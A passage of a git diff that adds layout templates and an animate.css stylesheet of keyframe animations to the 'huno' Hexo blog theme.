    \ No newline at end of file diff --git a/themes/huno/layout/page.ejs b/themes/huno/layout/page.ejs new file mode 100644 index 0000000..1171c7c --- /dev/null +++ b/themes/huno/layout/page.ejs @@ -0,0 +1 @@ +<%- partial('_partials/article', {type: 'page'}) %> \ No newline at end of file diff --git a/themes/huno/layout/post.ejs b/themes/huno/layout/post.ejs new file mode 100644 index 0000000..020ab15 --- /dev/null +++ b/themes/huno/layout/post.ejs @@ -0,0 +1 @@ +<%- partial('_partials/article', {type: 'post'}) %> \ No newline at end of file diff --git a/themes/huno/layout/tag.ejs b/themes/huno/layout/tag.ejs new file mode 100644 index 0000000..0dc6c8a --- /dev/null +++ b/themes/huno/layout/tag.ejs @@ -0,0 +1 @@ +<%- partial('_partials/archive', {type: 'tag'}) %> \ No newline at end of file diff --git a/themes/huno/source/css/animate.css b/themes/huno/source/css/animate.css new file mode 100644 index 0000000..492bbbd --- /dev/null +++ b/themes/huno/source/css/animate.css @@ -0,0 +1,3432 @@ +.animated{-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;}.animated.hinge{-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;}@-webkit-keyframes flash { + 0%, 50%, 100% {opacity: 1;} 25%, 75% {opacity: 0;} +} + +@-moz-keyframes flash { + 0%, 50%, 100% {opacity: 1;} + 25%, 75% {opacity: 0;} +} + +@-o-keyframes flash { + 0%, 50%, 100% {opacity: 1;} + 25%, 75% {opacity: 0;} +} + +@keyframes flash { + 0%, 50%, 100% {opacity: 1;} + 25%, 75% {opacity: 0;} +} + +.flash { + -webkit-animation-name: flash; + -moz-animation-name: flash; + -o-animation-name: flash; + animation-name: flash; +} +@-webkit-keyframes shake { + 0%, 100% {-webkit-transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {-webkit-transform: translateX(-10px);} + 20%, 40%, 60%, 80% {-webkit-transform: translateX(10px);} +} + +@-moz-keyframes shake { + 0%, 100% {-moz-transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {-moz-transform: translateX(-10px);} + 20%, 40%, 60%, 80% {-moz-transform: translateX(10px);} +} + +@-o-keyframes shake { + 0%, 100% {-o-transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {-o-transform: translateX(-10px);} + 20%, 40%, 60%, 80% {-o-transform: translateX(10px);} +} + +@keyframes shake { + 0%, 100% {transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {transform: translateX(-10px);} + 20%, 40%, 60%, 80% {transform: translateX(10px);} +} + +.shake { + -webkit-animation-name: shake; + -moz-animation-name: shake; + -o-animation-name: shake; + animation-name: shake; +} +@-webkit-keyframes bounce { + 0%, 20%, 50%, 80%, 100% {-webkit-transform: translateY(0);} + 40% {-webkit-transform: translateY(-30px);} + 60% {-webkit-transform: translateY(-15px);} +} + +@-moz-keyframes bounce { + 0%, 20%, 50%, 80%, 100% {-moz-transform: translateY(0);} + 40% {-moz-transform: translateY(-30px);} + 60% {-moz-transform: translateY(-15px);} +} + +@-o-keyframes bounce { + 0%, 20%, 50%, 80%, 100% {-o-transform: translateY(0);} + 40% {-o-transform: translateY(-30px);} + 60% {-o-transform: translateY(-15px);} +} +@keyframes bounce { + 0%, 20%, 50%, 80%, 100% {transform: translateY(0);} + 40% {transform: translateY(-30px);} + 60% {transform: translateY(-15px);} +} + +.bounce { + -webkit-animation-name: bounce; + -moz-animation-name: bounce; + -o-animation-name: bounce; + animation-name: bounce; +} +@-webkit-keyframes tada { + 0% {-webkit-transform: scale(1);} + 10%, 20% {-webkit-transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {-webkit-transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {-webkit-transform: scale(1.1) rotate(-3deg);} + 100% {-webkit-transform: scale(1) rotate(0);} +} + +@-moz-keyframes tada { + 0% {-moz-transform: scale(1);} + 10%, 20% {-moz-transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {-moz-transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {-moz-transform: scale(1.1) rotate(-3deg);} + 100% {-moz-transform: scale(1) rotate(0);} +} + +@-o-keyframes tada { + 0% {-o-transform: scale(1);} + 10%, 20% {-o-transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {-o-transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {-o-transform: scale(1.1) rotate(-3deg);} + 100% {-o-transform: scale(1) rotate(0);} +} + +@keyframes tada { + 0% {transform: scale(1);} + 10%, 20% {transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {transform: scale(1.1) rotate(-3deg);} + 100% {transform: scale(1) rotate(0);} +} + +.tada { + -webkit-animation-name: tada; + -moz-animation-name: tada; + -o-animation-name: tada; + animation-name: tada; +} +@-webkit-keyframes swing { + 20%, 40%, 60%, 80%, 100% { -webkit-transform-origin: top center; } + 20% { -webkit-transform: rotate(15deg); } + 40% { -webkit-transform: rotate(-10deg); } + 60% { -webkit-transform: rotate(5deg); } + 80% { -webkit-transform: rotate(-5deg); } + 100% { -webkit-transform: rotate(0deg); } +} + +@-moz-keyframes swing { + 20% { -moz-transform: rotate(15deg); } + 40% { -moz-transform: rotate(-10deg); } + 60% { -moz-transform: rotate(5deg); } + 80% { -moz-transform: rotate(-5deg); } + 100% { -moz-transform: rotate(0deg); } +} + +@-o-keyframes swing { + 20% { -o-transform: rotate(15deg); } + 40% { -o-transform: rotate(-10deg); } + 60% { -o-transform: rotate(5deg); } + 80% { -o-transform: rotate(-5deg); } + 100% { -o-transform: rotate(0deg); } +} + +@keyframes swing { + 20% { transform: rotate(15deg); } + 40% { transform: rotate(-10deg); } + 60% { transform: rotate(5deg); } + 80% { transform: rotate(-5deg); } + 100% { transform: rotate(0deg); } +} + +.swing { + -webkit-transform-origin: top center; + -moz-transform-origin: top center; + -o-transform-origin: top center; + transform-origin: top center; + -webkit-animation-name: swing; + -moz-animation-name: swing; + -o-animation-name: swing; + animation-name: swing; +} +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes wobble { + 0% { -webkit-transform: translateX(0%); } + 15% { -webkit-transform: translateX(-25%) rotate(-5deg); } + 30% { -webkit-transform: translateX(20%) rotate(3deg); } + 45% { -webkit-transform: translateX(-15%) rotate(-3deg); } + 60% { -webkit-transform: translateX(10%) rotate(2deg); } + 75% { -webkit-transform: translateX(-5%) rotate(-1deg); } + 100% { -webkit-transform: translateX(0%); } +} + +@-moz-keyframes wobble { + 0% { -moz-transform: translateX(0%); } + 15% { -moz-transform: translateX(-25%) rotate(-5deg); } + 30% { -moz-transform: translateX(20%) rotate(3deg); } + 45% { -moz-transform: translateX(-15%) rotate(-3deg); } + 60% { -moz-transform: translateX(10%) rotate(2deg); } + 75% { -moz-transform: translateX(-5%) rotate(-1deg); } + 100% { -moz-transform: translateX(0%); } +} + +@-o-keyframes wobble { + 0% { -o-transform: translateX(0%); } + 15% { -o-transform: translateX(-25%) rotate(-5deg); } + 30% { -o-transform: translateX(20%) rotate(3deg); } + 45% { -o-transform: translateX(-15%) rotate(-3deg); } + 60% { -o-transform: translateX(10%) rotate(2deg); } + 75% { -o-transform: translateX(-5%) rotate(-1deg); } + 100% { -o-transform: translateX(0%); } +} + +@keyframes wobble { + 0% { transform: translateX(0%); } + 15% { transform: translateX(-25%) rotate(-5deg); } + 30% { transform: translateX(20%) rotate(3deg); } + 45% { transform: translateX(-15%) rotate(-3deg); } + 60% { transform: translateX(10%) rotate(2deg); } + 75% { transform: translateX(-5%) rotate(-1deg); } + 100% { transform: translateX(0%); } +} + +.wobble { + -webkit-animation-name: wobble; + -moz-animation-name: wobble; + -o-animation-name: wobble; + animation-name: wobble; +} +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes pulse { + 0% { -webkit-transform: scale(1); } + 50% { -webkit-transform: scale(1.1); } + 100% { -webkit-transform: scale(1); } +} +@-moz-keyframes pulse { + 0% { -moz-transform: scale(1); } + 50% { -moz-transform: scale(1.1); } + 100% { -moz-transform: scale(1); } +} +@-o-keyframes pulse { + 0% { -o-transform: scale(1); } + 50% { -o-transform: scale(1.1); } + 100% { -o-transform: scale(1); } +} +@keyframes pulse { + 0% { transform: scale(1); } + 50% { transform: scale(1.1); } + 100% { transform: scale(1); } +} + +.pulse { + -webkit-animation-name: pulse; + -moz-animation-name: pulse; + -o-animation-name: pulse; + animation-name: pulse; +} +@-webkit-keyframes flip { + 0% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -webkit-animation-timing-function: ease-out; + } + 40% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -webkit-animation-timing-function: ease-out; + } + 50% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -webkit-animation-timing-function: ease-in; + } + 80% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -webkit-animation-timing-function: ease-in; + } + 100% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -webkit-animation-timing-function: ease-in; + } +} +@-moz-keyframes flip { + 0% { + -moz-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -moz-animation-timing-function: ease-out; + } + 40% { + -moz-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -moz-animation-timing-function: ease-out; + } + 50% { + -moz-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -moz-animation-timing-function: ease-in; + } + 80% { + -moz-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -moz-animation-timing-function: ease-in; + } + 100% { + -moz-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -moz-animation-timing-function: ease-in; + } +} +@-o-keyframes flip { + 0% { + -o-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -o-animation-timing-function: ease-out; + } + 40% { + -o-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -o-animation-timing-function: ease-out; + } + 50% { + -o-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -o-animation-timing-function: ease-in; + } + 80% { + -o-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -o-animation-timing-function: ease-in; + } + 100% { + -o-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -o-animation-timing-function: ease-in; + } +} +@keyframes flip { + 0% { + transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + animation-timing-function: ease-out; + } + 40% { + transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + animation-timing-function: ease-out; + } + 50% { + transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + animation-timing-function: ease-in; + } + 80% { + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + animation-timing-function: ease-in; + } + 100% { + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + animation-timing-function: ease-in; + } +} + +.animated.flip { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flip; + -moz-backface-visibility: visible !important; + -moz-animation-name: flip; + -o-backface-visibility: visible !important; + -o-animation-name: flip; + backface-visibility: visible !important; + animation-name: flip; +} + +@-webkit-keyframes flipInX { + 0% { + -webkit-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateX(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateX(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} +@-moz-keyframes flipInX { + 0% { + -moz-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + -moz-transform: perspective(400px) rotateX(-10deg); + } + + 70% { + -moz-transform: perspective(400px) rotateX(10deg); + } + + 100% { + -moz-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} +@-o-keyframes flipInX { + 0% { + -o-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + -o-transform: perspective(400px) rotateX(-10deg); + } + + 70% { + -o-transform: perspective(400px) rotateX(10deg); + } + + 100% { + -o-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} +@keyframes flipInX { + 0% { + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + transform: perspective(400px) rotateX(-10deg); + } + + 70% { + transform: perspective(400px) rotateX(10deg); + } + + 100% { + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} + +.flipInX { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipInX; + -moz-backface-visibility: visible !important; + -moz-animation-name: flipInX; + -o-backface-visibility: visible !important; + -o-animation-name: flipInX; + backface-visibility: visible !important; + animation-name: flipInX; +} +@-webkit-keyframes flipOutX { + 0% { + -webkit-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + -webkit-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +@-moz-keyframes flipOutX { + 0% { + -moz-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + -moz-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +@-o-keyframes flipOutX { + 0% { + -o-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + -o-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +@keyframes flipOutX { + 0% { + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +.flipOutX { + -webkit-animation-name: flipOutX; + -webkit-backface-visibility: visible !important; + -moz-animation-name: flipOutX; + -moz-backface-visibility: visible !important; + -o-animation-name: flipOutX; + -o-backface-visibility: visible !important; + animation-name: flipOutX; + backface-visibility: visible !important; +} +@-webkit-keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateY(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateY(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} +@-moz-keyframes flipInY { + 0% { + -moz-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + -moz-transform: perspective(400px) rotateY(-10deg); + } + + 70% { + -moz-transform: perspective(400px) rotateY(10deg); + } + + 100% { + -moz-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} +@-o-keyframes flipInY { + 0% { + -o-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + -o-transform: perspective(400px) rotateY(-10deg); + } + + 70% { + -o-transform: perspective(400px) rotateY(10deg); + } + + 100% { + -o-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} +@keyframes flipInY { + 0% { + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + transform: perspective(400px) rotateY(-10deg); + } + + 70% { + transform: perspective(400px) rotateY(10deg); + } + + 100% { + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} + +.flipInY { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipInY; + -moz-backface-visibility: visible !important; + -moz-animation-name: flipInY; + -o-backface-visibility: visible !important; + -o-animation-name: flipInY; + backface-visibility: visible !important; + animation-name: flipInY; +} +@-webkit-keyframes flipOutY { + 0% { + -webkit-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + -webkit-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} +@-moz-keyframes flipOutY { + 0% { + -moz-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + -moz-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} +@-o-keyframes flipOutY { + 0% { + -o-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + -o-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} +@keyframes flipOutY { + 0% { + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} + +.flipOutY { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipOutY; + -moz-backface-visibility: visible !important; + -moz-animation-name: flipOutY; + -o-backface-visibility: visible !important; + -o-animation-name: flipOutY; + backface-visibility: visible !important; + animation-name: flipOutY; +} +@-webkit-keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + +@-moz-keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + +@-o-keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + +@keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + +.fadeIn { + -webkit-animation-name: fadeIn; + -moz-animation-name: fadeIn; + -o-animation-name: fadeIn; + animation-name: fadeIn; +} +@-webkit-keyframes fadeInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes fadeInUp { + 0% { + opacity: 0; + -moz-transform: translateY(20px); + } + + 100% { + opacity: 1; + -moz-transform: translateY(0); + } +} + +@-o-keyframes fadeInUp { + 0% { + opacity: 0; + -o-transform: translateY(20px); + } + + 100% { + opacity: 1; + -o-transform: translateY(0); + } +} + +@keyframes fadeInUp { + 0% { + opacity: 0; + transform: translateY(20px); + } + + 100% { + opacity: 1; + transform: translateY(0); + } +} + +.fadeInUp { + -webkit-animation-name: fadeInUp; + -moz-animation-name: fadeInUp; + -o-animation-name: fadeInUp; + animation-name: fadeInUp; +} +@-webkit-keyframes fadeInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes fadeInDown { + 0% { + opacity: 0; + -moz-transform: translateY(-20px); + } + + 100% { + opacity: 1; + -moz-transform: translateY(0); + } +} + +@-o-keyframes fadeInDown { + 0% { + opacity: 0; + -o-transform: translateY(-20px); + } + + 100% { + opacity: 1; + -o-transform: translateY(0); + } +} + +@keyframes fadeInDown { + 0% { + opacity: 0; + transform: translateY(-20px); + } + + 100% { + opacity: 1; + transform: translateY(0); + } +} + +.fadeInDown { + -webkit-animation-name: fadeInDown; + -moz-animation-name: fadeInDown; + -o-animation-name: fadeInDown; + animation-name: fadeInDown; +} +@-webkit-keyframes fadeInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes fadeInLeft { + 0% { + opacity: 0; + -moz-transform: translateX(-20px); + } + + 100% { + opacity: 1; + -moz-transform: translateX(0); + } +} + +@-o-keyframes fadeInLeft { + 0% { + opacity: 0; + -o-transform: translateX(-20px); + } + + 100% { + opacity: 1; + -o-transform: translateX(0); + } +} + +@keyframes fadeInLeft { + 0% { + opacity: 0; + transform: translateX(-20px); + } + + 100% { + opacity: 1; + transform: translateX(0); + } +} + +.fadeInLeft { + -webkit-animation-name: fadeInLeft; + -moz-animation-name: fadeInLeft; + -o-animation-name: fadeInLeft; + animation-name: fadeInLeft; +} +@-webkit-keyframes fadeInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes fadeInRight { + 0% { + opacity: 0; + -moz-transform: translateX(20px); + } + + 100% { + opacity: 1; + -moz-transform: translateX(0); + } +} + +@-o-keyframes fadeInRight { + 0% { + opacity: 0; + -o-transform: translateX(20px); + } + + 100% { + opacity: 1; + -o-transform: translateX(0); + } +} + +@keyframes fadeInRight { + 0% { + opacity: 0; + transform: translateX(20px); + } + + 100% { + opacity: 1; + transform: translateX(0); + } +} + +.fadeInRight { + -webkit-animation-name: fadeInRight; + -moz-animation-name: fadeInRight; + -o-animation-name: fadeInRight; + animation-name: fadeInRight; +} +@-webkit-keyframes fadeInUpBig { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes fadeInUpBig { + 0% { + opacity: 0; + -moz-transform: translateY(2000px); + } + + 100% { + opacity: 1; + -moz-transform: translateY(0); + } +} + +@-o-keyframes fadeInUpBig { + 0% { + opacity: 0; + -o-transform: translateY(2000px); + } + + 100% { + opacity: 1; + -o-transform: translateY(0); + } +} + +@keyframes fadeInUpBig { + 0% { + opacity: 0; + transform: translateY(2000px); + } + + 100% { + opacity: 1; + transform: translateY(0); + } +} + +.fadeInUpBig { + -webkit-animation-name: fadeInUpBig; + -moz-animation-name: fadeInUpBig; + -o-animation-name: fadeInUpBig; + animation-name: fadeInUpBig; +} +@-webkit-keyframes fadeInDownBig { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@-moz-keyframes fadeInDownBig { + 0% { + opacity: 0; + -moz-transform: translateY(-2000px); + } + + 100% { + opacity: 1; + -moz-transform: translateY(0); + } +} + +@-o-keyframes fadeInDownBig { + 0% { + opacity: 0; + -o-transform: translateY(-2000px); + } + + 100% { + opacity: 1; + -o-transform: translateY(0); + } +} + +@keyframes fadeInDownBig { + 0% { + opacity: 0; + transform: translateY(-2000px); + } + + 100% { + opacity: 1; + transform: translateY(0); + } +} + +.fadeInDownBig { + -webkit-animation-name: fadeInDownBig; + -moz-animation-name: fadeInDownBig; + -o-animation-name: fadeInDownBig; + animation-name: fadeInDownBig; +} +@-webkit-keyframes fadeInLeftBig { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} +@-moz-keyframes fadeInLeftBig { + 0% { + opacity: 0; + -moz-transform: translateX(-2000px); + } + + 100% { + opacity: 1; + -moz-transform: translateX(0); + } +} +@-o-keyframes fadeInLeftBig { + 0% { + opacity: 0; + -o-transform: translateX(-2000px); + } + + 100% { + opacity: 1; + -o-transform: translateX(0); + } +} +@keyframes fadeInLeftBig { + 0% { + opacity: 0; + transform: translateX(-2000px); + } + + 100% { + opacity: 1; + transform: translateX(0); + } +} + +.fadeInLeftBig { + -webkit-animation-name: fadeInLeftBig; + -moz-animation-name: fadeInLeftBig; + -o-animation-name: fadeInLeftBig; + animation-name: fadeInLeftBig; +} +@-webkit-keyframes fadeInRightBig { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} + +@-moz-keyframes fadeInRightBig { + 0% { + opacity: 0; + -moz-transform: translateX(2000px); + } + + 100% { + opacity: 1; + -moz-transform: translateX(0); + } +} + +@-o-keyframes fadeInRightBig { + 0% { + opacity: 0; + -o-transform: translateX(2000px); + } + + 100% { + opacity: 1; + -o-transform: translateX(0); + } +} + +@keyframes fadeInRightBig { + 0% { + opacity: 0; + transform: translateX(2000px); + } + + 100% { + opacity: 1; + transform: translateX(0); + } +} + +.fadeInRightBig { + -webkit-animation-name: fadeInRightBig; + -moz-animation-name: fadeInRightBig; + -o-animation-name: fadeInRightBig; + animation-name: fadeInRightBig; +} +@-webkit-keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} + +@-moz-keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} + +@-o-keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} + +@keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} + +.fadeOut { + -webkit-animation-name: fadeOut; + -moz-animation-name: fadeOut; + -o-animation-name: fadeOut; + animation-name: fadeOut; +} +@-webkit-keyframes fadeOutUp { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-20px); + } +} +@-moz-keyframes fadeOutUp { + 0% { + opacity: 1; + -moz-transform: translateY(0); + } + + 100% { + opacity: 0; + -moz-transform: translateY(-20px); + } +} +@-o-keyframes fadeOutUp { + 0% { + opacity: 1; + -o-transform: translateY(0); + } + + 100% { + opacity: 0; + -o-transform: translateY(-20px); + } +} +@keyframes fadeOutUp { + 0% { + opacity: 1; + transform: translateY(0); + } + + 100% { + opacity: 0; + transform: translateY(-20px); + } +} + +.fadeOutUp { + -webkit-animation-name: fadeOutUp; + -moz-animation-name: fadeOutUp; + -o-animation-name: fadeOutUp; + animation-name: fadeOutUp; +} +@-webkit-keyframes fadeOutDown { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(20px); + } +} + +@-moz-keyframes fadeOutDown { + 0% { + opacity: 1; + -moz-transform: translateY(0); + } + + 100% { + opacity: 0; + -moz-transform: translateY(20px); + } +} + +@-o-keyframes fadeOutDown { + 0% { + opacity: 1; + -o-transform: translateY(0); + } + + 100% { + opacity: 0; + -o-transform: translateY(20px); + } +} + +@keyframes fadeOutDown { + 0% { + opacity: 1; + transform: translateY(0); + } + + 100% { + opacity: 0; + transform: translateY(20px); + } +} + +.fadeOutDown { + -webkit-animation-name: fadeOutDown; + -moz-animation-name: fadeOutDown; + -o-animation-name: fadeOutDown; + animation-name: fadeOutDown; +} +@-webkit-keyframes fadeOutLeft { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-20px); + } +} + +@-moz-keyframes fadeOutLeft { + 0% { + opacity: 1; + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(-20px); + } +} + +@-o-keyframes fadeOutLeft { + 0% { + opacity: 1; + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(-20px); + } +} + +@keyframes fadeOutLeft { + 0% { + opacity: 1; + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(-20px); + } +} + +.fadeOutLeft { + -webkit-animation-name: fadeOutLeft; + -moz-animation-name: fadeOutLeft; + -o-animation-name: fadeOutLeft; + animation-name: fadeOutLeft; +} +@-webkit-keyframes fadeOutRight { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(20px); + } +} + +@-moz-keyframes fadeOutRight { + 0% { + opacity: 1; + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(20px); + } +} + +@-o-keyframes fadeOutRight { + 0% { + opacity: 1; + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(20px); + } +} + +@keyframes fadeOutRight { + 0% { + opacity: 1; + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(20px); + } +} + +.fadeOutRight { + -webkit-animation-name: fadeOutRight; + -moz-animation-name: fadeOutRight; + -o-animation-name: fadeOutRight; + animation-name: fadeOutRight; +} +@-webkit-keyframes fadeOutUpBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } +} + +@-moz-keyframes fadeOutUpBig { + 0% { + opacity: 1; + -moz-transform: translateY(0); + } + + 100% { + opacity: 0; + -moz-transform: translateY(-2000px); + } +} + +@-o-keyframes fadeOutUpBig { + 0% { + opacity: 1; + -o-transform: translateY(0); + } + + 100% { + opacity: 0; + -o-transform: translateY(-2000px); + } +} + +@keyframes fadeOutUpBig { + 0% { + opacity: 1; + transform: translateY(0); + } + + 100% { + opacity: 0; + transform: translateY(-2000px); + } +} + +.fadeOutUpBig { + -webkit-animation-name: fadeOutUpBig; + -moz-animation-name: fadeOutUpBig; + -o-animation-name: fadeOutUpBig; + animation-name: fadeOutUpBig; +} +@-webkit-keyframes fadeOutDownBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + } +} + +@-moz-keyframes fadeOutDownBig { + 0% { + opacity: 1; + -moz-transform: translateY(0); + } + + 100% { + opacity: 0; + -moz-transform: translateY(2000px); + } +} + +@-o-keyframes fadeOutDownBig { + 0% { + opacity: 1; + -o-transform: translateY(0); + } + + 100% { + opacity: 0; + -o-transform: translateY(2000px); + } +} + +@keyframes fadeOutDownBig { + 0% { + opacity: 1; + transform: translateY(0); + } + + 100% { + opacity: 0; + transform: translateY(2000px); + } +} + +.fadeOutDownBig { + -webkit-animation-name: fadeOutDownBig; + -moz-animation-name: fadeOutDownBig; + -o-animation-name: fadeOutDownBig; + animation-name: fadeOutDownBig; +} +@-webkit-keyframes fadeOutLeftBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } +} + +@-moz-keyframes fadeOutLeftBig { + 0% { + opacity: 1; + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(-2000px); + } +} + +@-o-keyframes fadeOutLeftBig { + 0% { + opacity: 1; + -o-transform: translateX(0); + } + + 100% { + opacity: 0; + -o-transform: translateX(-2000px); + } +} + +@keyframes fadeOutLeftBig { + 0% { + opacity: 1; + transform: translateX(0); + } + + 100% { + opacity: 0; + transform: translateX(-2000px); + } +} + +.fadeOutLeftBig { + -webkit-animation-name: fadeOutLeftBig; + -moz-animation-name: fadeOutLeftBig; + -o-animation-name: fadeOutLeftBig; + animation-name: fadeOutLeftBig; +} +@-webkit-keyframes fadeOutRightBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + } +} +@-moz-keyframes fadeOutRightBig { + 0% { + opacity: 1; + -moz-transform: translateX(0); + } + + 100% { + opacity: 0; + -moz-transform: translateX(2000px); + } +} +@-o-keyframes 